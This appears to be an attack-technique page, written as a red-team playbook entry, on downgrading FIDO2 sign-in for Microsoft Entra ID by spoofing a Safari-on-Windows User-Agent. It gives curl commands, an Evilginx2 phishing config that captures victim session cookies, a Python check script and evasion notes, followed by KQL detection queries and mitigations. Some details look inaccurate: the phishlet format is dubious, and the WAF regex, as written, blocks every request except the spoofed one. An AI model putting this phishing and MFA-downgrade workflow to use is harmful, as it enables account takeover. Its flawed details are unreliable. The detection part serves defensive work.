| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-010 |
| MITRE ATT&CK v18.1 | T1556.006 - Multi-Factor Authentication |
| Tactic | Credential Access |
| Platforms | Entra ID / M365 |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-08-15 |
| Affected Versions | All Entra ID versions (browser/OS support variance) |
| Patched In | N/A - Behavioral change, not vulnerability |
| Author | SERVTEP – Artur Pchelnikau |
Concept: User-Agent header manipulation is a foundational technique for bypassing browser/OS compatibility checks in authentication flows. When a client sends an HTTP request, the User-Agent header identifies the browser, operating system, and browser version (e.g., Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15). Microsoft Entra ID uses this header to determine feature support, including FIDO2/WebAuthn capability. Safari on Windows is a logically impossible combination (Safari is exclusive to Apple platforms: macOS, iOS, iPadOS). When Entra ID receives a request claiming to be Safari on Windows, it recognizes FIDO is unsupported on this platform and automatically disables FIDO authentication. The attacker doesn’t need to exploit a vulnerability; they simply need to forge the User-Agent header in the HTTP request to trigger this legitimate platform compatibility check. Once FIDO is disabled, the user is presented with weaker fallback authentication options, all of which are interceptable by AiTM proxies.
Attack Surface: HTTP User-Agent header (sent in every HTTP request to Entra ID), browser platform detection logic, FIDO feature availability checks.
Business Impact: Complete bypass of “phishing-resistant” authentication. Organizations that believed FIDO2 eliminated phishing attacks discover it does not when combined with this downgrade technique. The attack defeats the primary reason organizations implement FIDO (phishing resistance) and forces fallback to SMS or Authenticator app, both interceptable by modern AiTM kits.
Technical Context: User-Agent spoofing takes zero milliseconds (headers are simple strings). Detection requires comparing User-Agent across multiple authentication attempts in the same session, which most organizations do not monitor. The attack is deterministic: if Entra ID sees Safari on Windows, FIDO is disabled 100% of the time.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.5 | Failure to enforce phishing-resistant authentication |
| DISA STIG | IA-5(1) | Credential-based authentication strength requirements not met |
| CISA SCuBA | AUTH.1, AUTH.2 | Phishing-resistant MFA not properly enforced |
| NIST 800-53 | IA-2(1), IA-7 | Multi-factor authentication; session management failures |
| GDPR | Art. 32 | Inadequate safeguards for user authentication |
| NIS2 | Art. 21 | Protective measures for authentication systems |
| ISO 27001 | A.9.2.1, A.9.4.3 | User identification and access control |
Required Privileges: None - any user can set HTTP headers.
Required Access:
Supported Versions:
Tools:
curl - Manual testing: curl -H "User-Agent: Safari/Windows"requests library - Programmatic User-Agent manipulationTested Browser/OS Combinations Without FIDO Support:
# PowerShell script to detect if user's browser is FIDO-capable
# Run on user's workstation
$browserUA = [System.Net.ServicePointManager]::UserAgent
$isFIDOSupported = $true
if ($browserUA -match "Safari" -and $browserUA -match "Windows") {
$isFIDOSupported = $false
Write-Host "FIDO NOT supported: Safari on Windows detected" -ForegroundColor Red
}
elseif ($browserUA -match "MSIE|Trident") {
$isFIDOSupported = $false
Write-Host "FIDO NOT supported: Internet Explorer detected" -ForegroundColor Red
}
elseif ($browserUA -match "Chrome|Edge|Firefox") {
$isFIDOSupported = $true
Write-Host "FIDO supported: Modern browser detected" -ForegroundColor Green
}
Write-Host "Current User-Agent: $browserUA"
# Test 1: Normal User-Agent (Chrome on Windows)
curl -v -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
"https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=YOUR_CLIENT_ID&redirect_uri=http://localhost&response_type=code"
# Response: FIDO option is presented in authentication flow
# Test 2: Spoofed User-Agent (Safari on Windows - NOT SUPPORTED)
curl -v -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15" \
"https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=YOUR_CLIENT_ID&redirect_uri=http://localhost&response_type=code"
# Response: FIDO option is REMOVED; fallback methods only (SMS, Authenticator)
What to Look For:
phoneNumber or softwareOath fields; FIDO fields are absentSupported Versions: Evilginx2 v3.0+
Objective: Create or modify Evilginx2 phishlet to inject Safari on Windows User-Agent.
File: phishlets/o365_safari_spoof.json
{
"name": "o365_safari_spoof",
"author": "AttackOperator",
"source": "microsoft",
"phish_domain": "attacker-domain.com",
"domains": [
"login.microsoftonline.com",
"login.microsoft.com"
],
"sub_domains": [""],
"paths": [
{
"path": "/",
"status": "ok"
},
{
"path": "/common/oauth2/v2.0/authorize",
"status": "ok"
}
],
"user_agent_spoof": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
"auth_tokens": [
{
"name": "session_id",
"extract": "cookie"
}
]
}
Critical Field: user_agent_spoof
This exact string is crucial:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Breakdown:
Windows NT 10.0 = Windows 10 OSSafari/605.1.15 = Safari version 15.1 (latest Safari version)AppleWebKit/605.1.15 = WebKit engine identifier (matches Safari)Why This String Works:
if (browserType == "Safari" && osType == "Windows")Expected Behavior:
What This Means:
OpSec & Evasion:
Troubleshooting:
session info <SESSION_ID> should show User-AgentReferences & Proofs:
Objective: Confirm that Evilginx2 is correctly injecting the Safari on Windows User-Agent.
Command (in Evilginx2 console):
evilginx> sessions
[*] Session ID: abc123def456
User: victim@company.onmicrosoft.com
Status: Captured
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
IP Address: 192.168.1.100
Time: 2025-08-15 14:23:45 UTC
evilginx> session info abc123def456
[*] Session Details:
User-Agent (Spoofed): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
User-Agent (Actual): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
What This Means:
What to Look For:
Safari/605.1.15 and Windows NTObjective: Programmatic verification of User-Agent spoofing without Evilginx2 GUI.
Python Script: spoof_useragent.py
#!/usr/bin/env python3
import requests
import json
from urllib.parse import urlencode
# Safari on Windows User-Agent (unsupported combination)
FAKE_UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15"
# Target Entra ID OAuth endpoint
CLIENT_ID = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Office Portal
REDIRECT_URI = "http://localhost:8080/callback"
AUTH_URL = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize"
# Set up custom headers with Safari on Windows User-Agent
headers = {
"User-Agent": FAKE_UA,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
}
# Construct OAuth request
params = {
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"response_type": "code",
"scope": "openid profile email",
"response_mode": "form_post"
}
# Send request with spoofed User-Agent
response = requests.get(f"{AUTH_URL}?{urlencode(params)}", headers=headers, allow_redirects=True)
# Parse response
print(f"[+] Status Code: {response.status_code}")
print(f"[+] User-Agent Sent: {FAKE_UA}")
print(f"\n[+] Response Headers:")
for header, value in response.headers.items():
print(f" {header}: {value[:100]}...")
# Check if FIDO options are present in response
if "fido" in response.text.lower() or "webauthn" in response.text.lower():
print("\n[-] FIDO options FOUND in response (spoofing failed)")
else:
print("\n[+] FIDO options NOT found in response (spoofing successful!)")
print("[+] Fallback authentication methods only")
# Extract authentication method choices
if "phoneNumber" in response.text:
print("[+] SMS/Phone authentication available (interceptable)")
if "softwareOath" in response.text:
print("[+] OATH token authentication available (interceptable)")
if "microsoftAuthenticator" in response.text:
print("[+] Microsoft Authenticator available (interceptable via AiTM)")
Execution:
python3 spoof_useragent.py
Expected Output:
[+] Status Code: 200
[+] User-Agent Sent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
[+] Response Headers:
Content-Type: text/html; charset=utf-8
...
[+] FIDO options NOT found in response (spoofing successful!)
[+] Fallback authentication methods only
[+] SMS/Phone authentication available (interceptable)
[+] Microsoft Authenticator available (interceptable via AiTM)
What This Means:
OpSec & Evasion:
Troubleshooting:
requests.exceptions.ConnectionError
login.microsoftonline.com is reachableReferences & Proofs:
curl (Command-Line HTTP Client):
# Standard request (normal User-Agent)
curl "https://login.microsoftonline.com/..."
# Spoofed Safari on Windows
curl -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15" \
"https://login.microsoftonline.com/..."
Browser DevTools (Manual Testing):
F12 (Developer Tools)User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15Python requests:
import requests
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15"}
response = requests.get("https://login.microsoftonline.com/...", headers=headers)
Rule Configuration:
KQL Query:
SigninLogs
| where isnotempty(userAgent)
| where resultType == 0 // Successful logins only
// Detect Safari on Windows (impossible combination)
| where userAgent has "Safari" and userAgent has "Windows"
// Exclude Apple-branded applications
| where userAgent !has "iPhone" and userAgent !has "iPad" and userAgent !has "Mac"
| project
TimeGenerated,
userId,
userPrincipalName,
userAgent,
ipAddress,
location = location.countryOrRegion,
appDisplayName,
Status = "ALERT: Safari on Windows - Impossible combination",
SuspiciousIndicator = "User-Agent spoofing detected"
Alternative Detection: Safari on Windows Across Multiple Sessions
SigninLogs
| where userAgent has "Safari" and userAgent has "Windows"
| where resultType == 0
| summarize
SessionCount = dcount(sessionId),
SuccessfulLogins = count(),
FirstAttempt = min(createdDateTime),
LastAttempt = max(createdDateTime),
IPs = make_set(ipAddress, 5),
Locations = make_set(location.countryOrRegion, 5)
by userId, userPrincipalName
| where SessionCount > 0
| project userId, userPrincipalName, SessionCount, SuccessfulLogins, FirstAttempt, LastAttempt, IPs, Locations
Manual Configuration Steps (Azure Portal):
Detect Safari on Windows User-Agent SpoofingHigh5 minutes1 hourEnabled1. Monitor and Alert on Browser/OS Combination Mismatches
Implement detection logic to flag impossible combinations:
Sentinel Query (Proactive Hunting):
SigninLogs
| where resultType == 0
| extend
BrowserType = extract(@"(Chrome|Safari|Firefox|Edge|MSIE|Trident)", 1, userAgent),
OSType = extract(@"(Windows|Mac|Linux|iPhone|iPad|Android)", 1, userAgent)
| where BrowserType == "Safari" and OSType == "Windows"
| summarize count() by userId, BrowserType, OSType
2. Disable Non-FIDO Fallback Options for Privileged Users
Manual Steps (Azure Portal):
IF user is in "Global Admins" group
THEN require FIDO2 OR compliant device
ELSE allow any MFA
3. Implement Strict Conditional Access for Device Compliance
Manual Steps:
Require Managed Device for All AppsMicrosoft Entra hybrid joined device OR Compliant device4. Restrict Authentication to Known/Expected Browsers
Azure Front Door / WAF Rule:
Match:
- Variable: RequestHeader User-Agent
Operator: Regex
Value: ^(?!.*Safari.+Windows).*$ # REJECT: Safari on Windows
Action: Block (status 403)
Limitation: WAF rules are easy to bypass with sophisticated attackers; not foolproof.
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Preparation | [REALWORLD-010] | Attacker crafts HTTP request with Safari on Windows User-Agent |
| 2 | Reconnaissance | Verify FIDO is disabled | Attacker confirms FIDO options are removed from authentication form |
| 3 | Exploitation | [REALWORLD-009] | Force fallback to weaker MFA (SMS, Authenticator) |
| 4 | Capture | [REALWORLD-011] + [REALWORLD-012] | AiTM intercepts credentials and MFA codes |
| 5 | Session Theft | T1528 | Attacker imports stolen session cookie |
| 6 | Post-Compromise | T1534, T1567 | Data exfiltration or lateral movement |